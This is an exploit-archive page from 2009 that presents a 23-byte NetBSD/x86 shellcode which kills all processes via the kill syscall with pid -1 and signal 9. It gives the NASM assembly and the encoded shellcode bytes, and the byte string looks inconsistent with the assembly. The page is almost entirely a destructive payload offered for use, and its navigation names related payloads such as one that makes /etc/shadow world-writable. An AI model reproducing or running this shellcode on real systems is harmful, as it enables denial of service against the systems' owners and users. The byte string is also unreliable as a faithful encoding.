[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : netbsd/x86 kill all processes shellcode 23 bytes
# Published : 2009-06-18
# Author : Teo Manojlovic
# Previous Title : linux/x86 Shellcode Polymorphic chmod("/etc/shadow",666) 54 bytes
# Next Title : solaris/x86 portbind/tcp shellcode generator
/*
netbsd/x86 kill all processes shellcode
author Teo Manojlovic
contact teo.manojlovic@skole.hr
this shellcode is using syscall number 37 or 0x25
37 STD { int sys_kill(int pid, int signum); }
here is assembler code using intel syntaxe and NASM
--------------begin-----------
section .note.netbsd.ident
dd 0x07,0x04,0x01
db "NetBSD",0x00,0x00
dd 200000000
section .data
section .text
global _start
_start:
xor eax, eax
push 0x09
mov eax, -1
push eax
xor eax,eax
mov al, 37
push eax
int 0x80
-------------------------end------------
if we dissasemble this code wi will get shellcode
"x66x31xc0x68x09x00x66xb8xffxffxffxffx66x50x66x31xc0xb0x25x66x50xcdx80"
*/
// www.Syue.com [2009-06-18]